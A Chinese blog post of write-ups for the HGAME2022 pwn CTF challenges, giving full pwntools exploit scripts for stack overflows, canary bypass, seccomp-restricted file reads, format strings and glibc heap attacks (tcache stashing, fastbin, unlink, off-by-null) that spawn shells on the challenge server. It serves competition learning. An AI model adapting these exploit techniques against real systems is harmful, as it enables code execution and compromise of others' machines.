发表更新33 分钟读完 (大约4911个字)  次访问

HGAME2022 Pwn wp

pwn学习

week1

enter_the_pwn_land

栈溢出，rop

​ 栈溢出时要注意索引 i 的值

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
from pwn import *
context.log_level='debug'

#r = process("./a.out")
r = remote("chuj.top",31098)
csu_end_addr = 0x401306
csu_front_addr = 0x4012F0
file = ELF('./a.out')
puts_got = file.got['puts']
puts_plt = file.plt['puts']

main_addr = 0x4011B6
libc = ELF('./libc-2.31.so')
pop_rdi = 0x401313

payload = "a"*44 + p32(44)+p64(0)+p64(pop_rdi)+p64(puts_got)+p64(puts_plt)+p64(main_addr)
r.sendline(payload)
r.recvuntil("\n")
leak_addr = u64(r.recv(6).ljust(8,'\x00'))
log.success(hex(leak_addr))
libc_base = leak_addr-libc.sym['puts']
system_addr = libc_base+libc.sym['system']
bin_sh = libc_base+next(libc.search("/bin/sh\x00"))
payload = "a"*44+p32(44)+p64(0)+p64(pop_rdi)+p64(bin_sh)+p64(0x40101a)+p64(system_addr)
r.sendline(payload)
r.interactive()

enter_the_evil_pwn_land

​ https://ctf-wiki.org/pwn/linux/user-mode/mitigation/canary

​ 跟上一题相似，同样可以栈溢出，但是开了 canary 保护。可溢出尺寸较大，可以同时覆盖栈上储存的 Canary 和 TLS 储存的 Canary 实现绕过

​

​ fsbase 可以查看 TLS 地址，fs:28h 存的是 canary，rop 过程与上一题相似

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
from pwn import *
context.log_level='debug'

#r = process('./a.out')
r=remote("chuj.top",37372)
libc = ELF('./libc-2.31.so')
f = ELF('./a.out')

pop_rdi = 0x401363
puts_got = f.got['puts']
puts_plt = f.plt['puts']
canary = 0xcc432deb70d2400
fake_rbp=0x2
ret = 0x40101a
test_thread = 0x4011d6
payload = "a"*40+p64(canary)+p64(fake_rbp)
payload += p64(pop_rdi)+p64(puts_got)+p64(puts_plt)+p64(test_thread)
payload += (0x838-8*5)*'\x00'+p64(canary)  #覆盖 tls 的 canary

r.sendline(payload)
r.recvuntil("\n")
leak_addr = u64(r.recv(6).ljust(8,'\x00'))
log.success(hex(leak_addr))
lbase = leak_addr-libc.sym['puts']
system_addr = lbase+libc.sym['system']
bin_sh = lbase+next(libc.search('/bin/sh\x00'))

#gdb.attach(r)
one_gadget = 0xe6c81
get_shell = lbase+one_gadget
payload2 = "a"*40+p64(canary)+p64(fake_rbp)
payload2 += p64(get_shell)+'\x00'*0x100
payload2 += (0x818-len(payload))*'\x00'+p64(canary)
r.sendline(payload2)
r.interactive()

oldfashion_orw

思路

​ 有符号数转无符号数，输 -1 就可以溢出

​ 利用限制了沙箱机制禁用了几个函数，open 函数内部会调用 openat ，禁用 openat 后就不能用 open ，但是通过 syscall 构造出的 open 可以使用。flag 文件名是随机的，不能直接通过 orw 读出 flag，可以先利用 getdents64 读取文件夹内容来获得随机的 flag 文件名

1
2
3
4
5
6
7
8
9
10
11
12
13
int getdents64(unsigned int fd, struct linux_dirent64 *dirp,
                    unsigned int count);

struct linux_dirent64 {
               ino64_t        d_ino;    /* 64-bit inode number */
               off64_t        d_off;    /* 64-bit offset to next structure */
               unsigned short d_reclen; /* Size of this dirent */
               unsigned char  d_type;   /* File type */
               char           d_name[]; /* Filename (null-terminated) */
           };

int open(const char *pathname, int flags, mode_t mode);
// flags 为 0x10000 是打开文件夹

​ 得到随机 flag 文件名后再利用 orw 读 flag

exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77

from pwn import *
context.log_level='debug'

#r=process('./vuln')
r=remote("chuj.top",43808)
libc = ELF('./libc-2.31.so')
f = ELF('./vuln')
write_got = f.got['write']
write_plt = f.plt['write']
read_got = f.got['read']

csu_end_addr = 0x40143A
csu_front_addr = 0x401420
main_addr = 0x401311
ret = 0x40101a
def ret_csu(rbx, rbp, r12, r13, r14, r15, last):
    payload = 'a' * 0x30 + p64(0)
    payload += p64(csu_end_addr) + p64(rbx) + p64(rbp) + p64(r12) + p64(
        r13) + p64(r14) + p64(r15)
    payload += p64(csu_front_addr)
    payload += 'a' * 0x38
    payload += p64(last)
    r.send(payload)
    sleep(1)

r.recvuntil("size?\n")
r.sendline('-1')
ret_csu(0,1,1,write_got,6,write_got,main_addr)
r.recvuntil("!\n")
leak_addr = u64(r.recv(6).ljust(8,'\x00'))
log.success(hex(leak_addr))
lbase = leak_addr-libc.sym['write']
getdents_addr = lbase+libc.sym['getdents64']
write_addr = lbase+libc.sym['write']
read_addr = lbase+libc.sym['read']
pop_rsi = lbase+0x27529
pop_rdi = 0x401443
pop_rdx_rbx = lbase+0x162866
syscall_ret = lbase+0x66229
pop_rax = lbase+0x4a550
sendfile_addr = lbase+libc.sym['sendfile']

r.recvuntil("size?\n")
r.sendline('-1')
ret_csu(0,1,0,0x404088,3,read_got,main_addr)    #read(0,addr,7)
r.send("./\x00")

r.recvuntil("size?\n")
r.sendline('-1')

payload = 'a'*0x30+p64(0)+p64(pop_rdi)+p64(0x404088)+p64(pop_rsi)+p64(0x10000)+p64(pop_rdx_rbx)+p64(0)+p64(0)
payload += p64(pop_rax)+p64(2)+p64(ret)+p64(syscall_ret)            #open("./",0x10000,0)  
payload += p64(pop_rdi)+p64(3)+p64(pop_rsi)+p64(f.bss()+100)+p64(pop_rdx_rbx)+p64(0xd0)+p64(0)+p64(getdents_addr)
#getdents(3,buf,0x50)
payload += p64(pop_rdi)+p64(1)+p64(pop_rsi)+p64(f.bss()+100)+p64(pop_rdx_rbx)+p64(0xd0)+p64(0)+p64(write_addr)
#write(1,buf,0x50)
payload += p64(main_addr)
r.send(payload)
r.recvuntil('\x30\x00\x08')
file_name = r.recv(24)
log.success("filename:"+file_name)

r.recvuntil("size?\n")
r.sendline('-1')

#open("filename",0,0)
#read(4,buf,0x100)
#write(1,buf,0x100)
payload2 = 'a'*0x30+p64(0)+p64(pop_rdi)+p64(f.bss()+100+0xa3)+p64(pop_rsi)+p64(0x0)+p64(pop_rdx_rbx)+p64(0)+p64(0)
payload2 += p64(pop_rax)+p64(2)+p64(ret)+p64(syscall_ret)+p64(pop_rdi)+p64(4)+p64(pop_rsi)+p64(f.bss()+0x100)+p64(pop_rdx_rbx)
payload2 += p64(0x100)+p64(0)+p64(read_addr)
payload2 += p64(pop_rdi)+p64(1)+p64(pop_rsi)+p64(f.bss()+0x100)+p64(pop_rdx_rbx)+p64(0x100)+p64(0)+p64(write_addr)+p64(main_addr)
r.send(payload2)

r.interactive()

ser_per_fa

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
from pwn import *
context.log_level='debug'
context.terminal = ['gnome-terminal','-x','zsh','-c']

#r = process('./spfa')
r=remote("chuj.top",45430)
f = ELF('./spfa')
libc = ELF('./libc-2.31.so')

#leak libcbase
#https://blog.csdn.net/chennbnbnb/article/details/104035261  得到栈地址
backd00r_addr = 0x16AA
r.recvuntil("how many datas?\n>> ")
r.sendline('4') 
r.recvuntil("nodes?\n>> ")
r.sendline('0') 
r.recvuntil("edges?\n>> ")
r.sendline('0') 
r.recvuntil("node?\n>> ")
r.sendline('0') 
r.recvuntil("to ?\n>> ")
r.sendline(str(-(0xB720 - 0x6F80)/8))

r.recvuntil(" is ")
leak_addr = int(r.recvuntil('\n'))
log.success(hex(leak_addr))
lbase = leak_addr - libc.sym['system']

#leak programme base
r.recvuntil("nodes?\n>> ")
r.sendline('0') 
r.recvuntil("edges?\n>> ")
r.sendline('0') 
r.recvuntil("node?\n>> ")
r.sendline('0') 
r.recvuntil("to ?\n>> ")
r.sendline(str(-(0xB720 - 0x7008)/8))
r.recvuntil(" is ")
pie_addr = int(r.recvuntil('\n'))
spfa_base = pie_addr - 0x7008
log.success("spfa_base:" + hex(spfa_base))

#leak stack_addr
env_addr = lbase + libc.sym['environ']
print(hex(env_addr))
r.recvuntil("nodes?\n>> ")
r.sendline('0') 
r.recvuntil("edges?\n>> ")
r.sendline('0') 
r.recvuntil("node?\n>> ")
r.sendline('0') 
r.recvuntil("to ?\n>> ")
r.sendline(str((env_addr-spfa_base-0xB720)/8))
r.recvuntil(" is ")
stack_addr = int(r.recvuntil('\n'))

stack_ret = stack_addr-0x100
r.recvuntil("nodes?\n>> ")
r.sendline('0') 
r.recvuntil("edges?\n>> ")
r.sendline('1')
r.recvuntil('\nformat')

bias = (stack_ret-spfa_base-0xB720)/8
r.sendline("0 "+str(bias)+" "+str(spfa_base+backd00r_addr))
r.recvuntil("node?\n>> ")
r.sendline('0')
r.recvuntil("to ?\n>> ")
r.sendline('0')

r.interactive()

week2

blind

​ proc 文件系统，根据题目提示的 “喷射” 找到 https://xz.aliyun.com/t/7189?page=34

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
# coding=utf-8
from pwn import *
from LibcSearcher import *
from pwnlib.util.iters import mbruteforce
context.log_level = 'debug'
context.arch = "amd64"

sh = remote("chuj.top", 51693)

sh.recvuntil(') == ')
hash_code = sh.recvuntil('\n', drop=True).decode().strip()
log.success('hash_code={},'.format(hash_code))

charset = string.printable
proof = mbruteforce(lambda x: hashlib.sha256((x).encode()).hexdigest() == hash_code, charset, 4, method='fixed')

sh.sendafter('????> ', proof)

sh.recvuntil("write: ")
write_addr = int(sh.recvuntil("\n"),16)
log.success(hex(write_addr))

libc = LibcSearcher("write",write_addr)
lbase = write_addr - libc.dump("write")
libc_start_main = lbase+libc.dump("__libc_start_main")
log.success(hex(libc_start_main))

sh.recvuntil(">> ")
sh.send("/proc/self/mem")
shellcode = "\x90"*0x2fd0+asm(shellcraft.sh())    #添加 slide code 增加执行 shellcode 的概率
sh.recvuntil(">> ")
sh.send(str(libc_start_main))      #执行完会返回到 libc_start_main
sh.recvuntil(">> ")
sh.sendline(shellcode)
sh.interactive()

echo_sever

​ 堆上的格式化字符串

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
from pwn import *
from pwnlib.util.iters import mbruteforce

#context.log_level='debug'
#r = process('./echo')
r = remote("chuj.top",52061)
libc = ELF('./libc-2.31.so')
f = ELF('./echo')

def proof_of_work():
    r.recvuntil(') == ')
    hash_code = r.recvuntil('\n', drop=True).decode().strip()
    log.success('hash_code={},'.format(hash_code))

    charset = string.printable
    proof = mbruteforce(lambda x: hashlib.sha256((x).encode()).hexdigest() == hash_code, charset, 4, method='fixed')

    r.sendafter('????> ', proof)

proof_of_work()
r.recvuntil(">> ")
r.sendline('100')
payload = "%6$p-%13$p"
r.sendline(payload)
rbp = int(r.recvuntil("-").strip('-'),16)
leak_addr = int(r.recvuntil('\n'),16)-243
log.success(hex(leak_addr))
lbase = leak_addr - libc.symbols["__libc_start_main"]
log.success("libc_base:"+hex(lbase))

free_hook = lbase+libc.symbols["__free_hook"]
log.success("libc_free_hook:"+hex(free_hook))

system_addr = lbase+libc.symbols["system"]
log.success("system_addr:"+hex(system_addr))

r.recvuntil(">> ")
r.sendline('100')
payload = "%"+str((rbp+0x18+2)&0xffff)+"c"+"%6$hn"
r.sendline(payload)

r.recvuntil(">> ")
r.sendline('100')
payload = "%"+str((free_hook>>16)&0xffff)+'c'+"%10$hn"
r.sendline(payload)

r.recvuntil(">> ")
r.sendline('100')
payload = "%"+str((rbp+0x18)&0xffff)+"c"+"%6$hn"
r.sendline(payload)

r.recvuntil(">> ")
r.sendline('100')
payload = "%"+str((free_hook+4)&0xffff)+'c'+"%10$hn"
r.sendline(payload)

r.recvuntil(">> ")
r.sendline('100')
payload = "%"+str((system_addr>>32)&0xffff)+'c'+"%13$hn"
r.sendline(payload)

r.recvuntil(">> ")
r.sendline('100')
payload = "%"+str((free_hook+2)&0xffff)+'c'+"%10$hn"
r.sendline(payload)

r.recvuntil(">> ")
r.sendline('100')
payload = "%"+str((system_addr>>16)&0xffff)+'c'+"%13$hn"
r.sendline(payload)

r.recvuntil(">> ")
r.sendline('100')
payload = "%"+str((free_hook)&0xffff)+'c'+"%10$hn"
r.sendline(payload)

r.recvuntil(">> ")
r.sendline('100')
payload = "%"+str((system_addr)&0xffff)+'c'+"%13$hn"
r.sendline(payload)

r.recvuntil(">> ")
r.sendline('100')
r.sendline("/bin/sh\x00")

r.recvuntil(">> ")
r.sendline('0')

r.interactive()

oldfashion_note

思路

程序有add，delete，show这几个功能，delete 函数中未将指针置零，存在 UAF 漏洞

首先要利用 show 功能 leak 出 libc 基址，此处用到 Unsorted Bin Leak（首先要填满 tcache 才能通过 free 进入 unsorted bin）

获得 libc 基址后考虑劫持钩子函数 __free_hook 为 system，因为题目使用的库版本是 libc-2.31.so 所以 tcache 的 double free 会有检测（libc2.29以上的版本），可通过 stash 绕过

tcache相关

当所请求的分配大小不大于0x408并且当给定大小的 tcache bin 未满时调用 tcache_put。一个 tcache bin 中的最大块数mp_.tcache_count是7

1
2
3
4
5
6
typedef struct tcache_entry
{
   struct tcache_entry *next;
   /* This field exists to detect double frees.  */
   struct tcache_perthread_struct *key;    //新增的check字段
} tcache_entry;
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
_int_free (mstate av, mchunkptr p, int have_lock)
{
     size_t tc_idx = csize2tidx (size);

    /* Check to see if it's already in the tcache.  */
    tcache_entry *e = (tcache_entry *) chunk2mem (p);

    /* This test succeeds on double free.  However, we don't 100%
       trust it (it also matches random payload data at a 1 in
       2^<size_t> chance), so verify it's not an unlikely coincidence
       before aborting.  */
    if (__glibc_unlikely (e->key == tcache && tcache))    //check
      {
       tcache_entry *tmp;
       LIBC_PROBE (memory_tcache_double_free, 2, e, tc_idx);
       for (tmp = tcache->entries[tc_idx];
            tmp;
            tmp = tmp->next)
         if (tmp == e)
           malloc_printerr ("free(): double free detected in tcache 2");
       /* If we get here, it was a coincidence.  We've wasted a few
          cycles, but don't abort.  */
    }
......

double free 会将 key 字段置为 tcache，无法通过上面的检测

为了绕过这一检测大致有两种方法：

  1. 修改 key 字段
  2. tcache stashing unlink attack

如果程序有 edit 功能的话就可以修改 key 字段来绕过检测，但本题没有提供所以考虑 tcache stashing unlink attack

这种攻击利用的是 tcache bin 有剩余 (数量小于 TCACHE_MAX_BINS ) 时，同大小的 small bin 或 fast bin 会放进 tcache 中，在获取到一个 small bin/fast bin 中的一个 chunk 后如果 tcache 仍有足够空闲位置，会将剩余的 small bin/fast bin 链入 tcache ，在这个过程中只对第一个 bin 进行了完整性检查，后面的堆块的检查缺失。当攻击者可以写一个 small bin 的 bk 指针 或 fast bin 的 fd 指针时，其可以在任意地址上写一个 libc 地址

先将相同大小的 tcache 清空，以便分配到 fast bin 的堆块

分配 fast bin 中的堆块，剩下的部分链入 tcache

Unsorted bin leak

​ unsorted bin 结构如下，是循环双向链表

​ 可以看出 show bin2 中的内容就可以获得 main_arena 内的一个地址（要防止与 top chunk 合并），而 main_arena 与 __malloc_hook 固定差 0x10 从而计算得到 libc 基址

fast bin attack

​ 之后重新分配堆块得到 chunk1 ，将其 fd 指针置为 fake chunk 就可以实现任意写

exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
# coding=utf-8
from pwn import *
from pwnlib.util.iters import mbruteforce

#context.log_level = 'debug'
#r = process('./note')
r=remote("chuj.top",51475)
libc = ELF('./libc-2.31.so')

def proof_of_work():
    r.recvuntil(') == ')
    hash_code = r.recvuntil('\n', drop=True).decode().strip()
    log.success('hash_code={},'.format(hash_code))

    charset = string.printable
    proof = mbruteforce(lambda x: hashlib.sha256((x).encode()).hexdigest() == hash_code, charset, 4, method='fixed')

    r.sendafter('????> ', proof)

def add(idx,size,content):
    r.sendlineafter(">> ","1")
    r.sendlineafter(">> ",str(idx))
    r.sendlineafter(">> ",str(size))
    r.sendafter(">> ",content)

def show(idx):
    r.sendlineafter(">> ","2")
    r.sendafter(">> ",str(idx))

def delete(idx):
    r.sendlineafter(">> ","3")
    r.sendafter(">> ",str(idx))

proof_of_work()

#unsorted bin leak
for i in range(8):          #填满tcache 7  size相同
    add(i, 0x80, 'a')

for i in range(7):
    delete(i)

add(10,0x10,'protected')     #防止合并进top chunk
delete(7)
show(7)

malloc_hook = u64(r.recv(6).ljust(8,'\x00'))-96-0x10
log.success(hex(malloc_hook))
lbase = malloc_hook - libc.symbols["__malloc_hook"]
log.success(hex(lbase))

free_hook = lbase+libc.symbols["__free_hook"]
system_addr = lbase+libc.symbols["system"]

#tcache stashing 
for i in range(9):          #填满tcache   7  size相同
    add(i, 0x20, 'a')

for i in range(7):
    delete(i)

delete(7)    #fast bin
delete(8)
delete(7)
#gdb.attach(r)

for i in range(7):          #清空 tcache
    add(i, 0x20, 'a')

add(10, 0x20 , p64(free_hook))
add(11,0x20,'a')
add(11,0x20,'a')
add(12,0x20,p64(system_addr))

add(0,0x20,"/bin/sh\x00")
delete(0)
r.interactive()

week3

changeable_note

思路

​ 存在堆溢出，可以伪造 chunk 实现 unlink，让 notes[1] = &notes[1]-0x18，劫持 free 为 puts 从而获得 libc 基址，最后再劫持 atoi 为 system 拿到 shell

chunk1 -> 0
0x31
fake chunk -> 0
0x21
fake fd -> &notes[1]-0x18
fake bk -> &notes[1]-0x10
size检查 0x20
……
chunk2 -> 0x30
prev_inuse 为 0，前一个chunk为 free 状态 0x90

exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
# coding: utf-8
from pwn import *
from pwnlib.util.iters import mbruteforce

context.log_level='debug'
#r = process('./note')
r=remote("chuj.top",52548)
f = ELF('./note')
libc = ELF('./libc-2.23.so')
def proof_of_work():
    r.recvuntil(') == ')
    hash_code = r.recvuntil('\n', drop=True).decode().strip()
    log.success('hash_code={},'.format(hash_code))

    charset = string.printable
    proof = mbruteforce(lambda x: hashlib.sha256((x).encode()).hexdigest() == hash_code, charset, 4, method='fixed')

    r.sendafter('????> ', proof)

def add(idx,size,content):
    r.sendafter(">> ","1")
    r.sendafter(">> ",str(idx))
    r.sendafter(">> ",str(size))
    r.sendafter(">> ",content)

def delete(idx):
    r.sendafter(">> ","3")
    r.sendafter(">> ",str(idx))

def edit(idx,content):
    r.sendafter(">> ","2")
    r.sendafter(">> ",str(idx))
    r.sendline(content)

proof_of_work()
# unlink
add(0,0x30,'a')
add(1,0x30,'a')
add(2,0x80,'a')
add(3,0x30,'a')

ptr0 = 0x4040C0
payload = p64(0)+p64(0x21)+p64(ptr0+8-0x18)+p64(ptr0+8-0x10)+p64(0x20)
payload = payload.ljust(0x30,'a')
payload += p64(0x30)+p64(0x90)
edit(1,payload)
delete(2)

payload = 'a'*16+p64(f.got["free"])+p64(f.got["puts"])+p64(0)+p64(f.got["atoi"])
edit(1,payload)
#gdb.attach(r)
edit(0,p64(f.plt["puts"])[0:7])     #8个字节会覆盖下个函数
delete(1)

leak_addr = u64(r.recv(6).ljust(8,'\x00'))
lbase = leak_addr-libc.symbols["puts"]
log.success(hex(lbase))

edit(3,p64(lbase+libc.symbols["system"]))
r.sendafter(">> ","/bin/sh\x00")

r.interactive()

elder_note

思路

​ https://xz.aliyun.com/t/7490

​ 通过 show 功能实现 unsorted bin leak ，delete 中指针未置为0，存在 UAF，可以采用 fastbin attack

​ fastbin 存在 size 检查，可以利用字节错位绕过 size 域的检测，一般是在 __malloc_hook 附近伪造 chunk （Arbitrary Alloc）

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
pwndbg> p &__malloc_hook 
$1 = (void *(**)(size_t, const void *)) 0x7f40310f6b10 <__malloc_hook> 

pwndbg> find_fake_fast 0x7f40310f6b10 0x7f
FAKE CHUNKS
Fake chunk | Allocated chunk | PREV_INUSE | IS_MMAPED | NON_MAIN_ARENA
Addr: 0x7f40310f6aed
prev_size: 0x40310f5260000000
size: 0x7f
fd: 0x4030db7ea0000000
bk: 0x4030db7a7000007f
fd_nextsize: 0x7f
bk_nextsize: 0x00

pwndbg> p /x 0x7f40310f6b10-0x7f40310f6aed
$2 = 0x23

​ 本来之后劫持 __malloc_hook 为 one_gadget 就可以 get shell，但是这里的 one_gadget 都不满足条件，所以要通过 __realloc_hook 来调整栈帧，劫持 __realloc_hook 为 one_gadget

​ realloc 函数开头的 push 和 sub rsp,18h 可以调整栈来满足 one_gadget 的使用条件

​ __realloc_hook 和 __malloc_hook 邻近，可以一次性劫持

exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
# coding: utf-8
from pwn import *
from pwnlib.util.iters import mbruteforce

context.log_level='debug'
#r = process('./note2')
r=remote("chuj.top",52617)
f = ELF('./note2')
libc = ELF('./libc-2.23.so')
def proof_of_work():
    r.recvuntil(') == ')
    hash_code = r.recvuntil('\n', drop=True).decode().strip()
    log.success('hash_code={},'.format(hash_code))

    charset = string.printable
    proof = mbruteforce(lambda x: hashlib.sha256((x).encode()).hexdigest() == hash_code, charset, 4, method='fixed')

    r.sendafter('????> ', proof)

def add(idx,size,content):
    r.sendafter(">> ","1")
    r.sendafter(">> ",str(idx))
    r.sendafter(">> ",str(size))
    r.sendafter(">> ",content)

def delete(idx):
    r.sendafter(">> ","3")
    r.sendafter(">> ",str(idx))


def show(idx):
    r.sendlineafter(">> ","2")
    r.sendafter(">> ",str(idx))

proof_of_work()
#unsorted bin leak
add(0,0x80,'a')
add(1,0x10,'a')

delete(0)
show(0)

malloc_hook = u64(r.recv(6).ljust(8,'\x00'))-88-0x10
lbase = malloc_hook-libc.symbols["__malloc_hook"]
log.success(hex(lbase))

#system_addr = lbase+libc.symbols["system"]
one_gadget = lbase+0x4527a
realloc_hook = lbase + libc.symbols['realloc']
log.info("reallock_hook:"+hex(realloc_hook))
log.info("ongadget:"+hex(one_gadget))

#fastbin attack
add(2,0x60,'a')
add(3,0x60,'a')

delete(2)
delete(3)
delete(2)
fake_chunk_addr = malloc_hook-0x23

add(2,0x60,p64(fake_chunk_addr))
add(3,0x60,'a')
add(4,0x60,'a')
payload = "a"*(0x13-8)+p64(one_gadget)+p64(realloc_hook+0x10)       #realloc调栈帧
add(5,0x60,payload)

#gdb.attach(r)
r.sendafter(">> ","1")
r.sendafter(">> ","6")
r.sendafter(">> ",str(20))

r.interactive()

sized_note

思路

​ add 和 edit 都存在 off-by-null，通过利用可以造成 chunk overlapping ，进而 leak libc 和改写 tcache 的 next 指针

​ https://blog.csdn.net/qq_43409582/article/details/109825038

chunk overlapping

https://ctf-wiki.org/pwn/linux/user-mode/heap/ptmalloc2/chunk-extend-overlapping/#4extendoverlapping

通过 extend 前向 overlapping：改写 chunk 的 prev_size 域和 prev_inuse 域合并堆块，利用了unlink 机制，可以跨越多个堆块进行合并

通过 extend 后向 overlapping：改写 size 域实现 overlapping

exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
# coding: utf-8
from pwn import *
from pwnlib.util.iters import mbruteforce

#context.log_level='debug'
#r = process('./note3')
r=remote("chuj.top",52863)
f = ELF('./note3')
libc = ELF('./libc.so.6')
def proof_of_work():
    r.recvuntil(') == ')
    hash_code = r.recvuntil('\n', drop=True).decode().strip()
    log.success('hash_code={},'.format(hash_code))

    charset = string.printable
    proof = mbruteforce(lambda x: hashlib.sha256((x).encode()).hexdigest() == hash_code, charset, 4, method='fixed')

    r.sendafter('????> ', proof)

def add(idx,size,content):
    r.sendafter(">> ","1")
    r.sendafter(">> ",str(idx))
    r.sendafter(">> ",str(size))
    r.sendafter(">> ",content)

def show(idx):
    r.sendlineafter(">> ","2")
    r.sendafter(">> ",str(idx))

def delete(idx):
    r.sendafter(">> ","3")
    r.sendafter(">> ",str(idx))

def edit(idx,content):
    r.sendafter(">> ","4")
    r.sendafter(">> ",str(idx))
    r.send(content)

proof_of_work()
for i in range(10):         
    add(i, 0xf8, 'a')

for i in range(7):          #填满tcache   7  size相同
    delete(i)

add(10,0x20,"protect")    #防止合并

delete(7)       #unsorted bin       chunk0
edit(8,"a"*0xf0+p64(0x100*2))    #chunk overlapping    chunk1
delete(9)            #chunk2

for i in range(7):          #清空tcache
    add(i, 0xf8, 'a')

add(10, 0xf8,"a")       #chunk0
show(8)          #chunk1

malloc_hook = u64(r.recv(6).ljust(8,'\x00'))-96-0x10
lbase = malloc_hook-libc.symbols['__malloc_hook']
system_addr = lbase+libc.symbols['system']
free_hook = lbase+libc.symbols['__free_hook']
log.success(hex(lbase))

#tcache poisoning
add(11, 0xf8,'a')    #chunk1
delete(11)
edit(8,p64(free_hook))  #uaf
add(12, 0xf8, 'a')
add(13,0xf8,p64(system_addr))
#gdb.attach(r)

add(14,0xf8,"/bin/sh\x00")
delete(14)

r.interactive()

week4

vector

思路

​ libc 版本 2.31

​ move_note 函数中存在 vector 迭代器失效的漏洞，vector 的 resize 操作会改变容器容量，进行扩容时会重新分配内存，那么指向容器的迭代器、指针和引用都会失效，而下面移动的操作会使用已经失效的迭代器，存在 UAF

​ 通过调试可以发现在 move_note 扩容后可以把失效迭代器中的值复制到要 move 到的地方，这样就可以实现 double free，为了绕过 key 检测还是使用 tcache stashing 

1
2
3
4
5
6
7
8
9
10
11
12
13
14
# tcache stashing
delete(3)
delete(15)
delete(20)

for i in range(5, 12):
    add(i, 0x70, 'a')

add(3,0x70,p64(free_hook))
add(12,0x70,"a")
add(13,0x70,"a")
add(14,0x70,"/bin/sh\x00")
add(15,0x70,p64(system_addr))
delete(14)

​ 为了 leak libc 基址要先 malloc 一个较大的堆块，然后 free 进入 unsorted bin 。这时再申请一个较小的堆块，那么 unsorted bin 就会被切割，切割出来的块内有指向 main_arena 内部的指针，就可以得到 libc 基址

​ https://10-0-0-55.github.io/pwn/unsorted-bin/#leak-heap-libc

1
2
3
4
5
6
7
8
9
10
for i in range(9):         
    add(i, 0xf0, 'a')

for i in range(7):          #填满tcache   7  size相同
    delete(i)

delete(7)                   #得到 unsorted bin

add(7,0x50,'aaaaaaaa')      #切割 unsorted bin
show(7)

exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
# coding: utf-8
from pwn import *
from pwnlib.util.iters import mbruteforce

context.log_level='debug'
#r = process('./vector')
r=remote("chuj.top",53088)
f = ELF('./vector')
libc = ELF('./libc.so.6')
def proof_of_work():
    r.recvuntil(') == ')
    hash_code = r.recvuntil('\n', drop=True).decode().strip()
    log.success('hash_code={},'.format(hash_code))

    charset = string.printable
    proof = mbruteforce(lambda x: hashlib.sha256((x).encode()).hexdigest() == hash_code, charset, 4, method='fixed')
    r.sendafter('????> ', proof)

def add(idx,size,content):
    r.sendafter(">> ","1")
    r.sendafter(">> ",str(idx))
    r.sendafter(">> ",str(size))
    r.sendafter(">> ",content)

def show(idx):
    r.sendlineafter(">> ","3")
    r.sendafter(">> ",str(idx))

def delete(idx):
    r.sendafter(">> ","4")
    r.sendafter(">> ",str(idx))

def move(idx):
    r.sendafter(">> ","5")
    r.sendafter(">> ",'0')
    r.sendafter(">> ",'0')
    r.sendafter(">> ",'1')
    r.sendafter(">> ",str(idx))

proof_of_work()
for i in range(9):         
    add(i, 0xf0, 'a')

for i in range(7):          #填满tcache   7  size相同
    delete(i)

delete(7)                   #得到 unsorted bin

add(7,0x50,'aaaaaaaa')      #切割 unsorted bin
show(7)

r.recv(8)
malloc_hook = u64(r.recv(6).ljust(8,'\x00')) - 336-0x10
lbase = malloc_hook-libc.symbols["__malloc_hook"]
free_hook = lbase+libc.symbols["__free_hook"]
system_addr = lbase+libc.symbols["system"]
log.success(hex(lbase))

for i in range(1, 14):
    add(i, 0x70, 'a')

move(20)                    #UAF
add(15,0x70,'a')

for i in range(4,13):
    delete(i)

# tcache stashing
delete(3)
delete(15)
delete(20)

for i in range(5, 12):
    add(i, 0x70, 'a')

add(3,0x70,p64(free_hook))
add(12,0x70,"a")
add(13,0x70,"a")
add(14,0x70,"/bin/sh\x00")
add(15,0x70,p64(system_addr))
delete(14)

r.interactive()

Final

pwn1

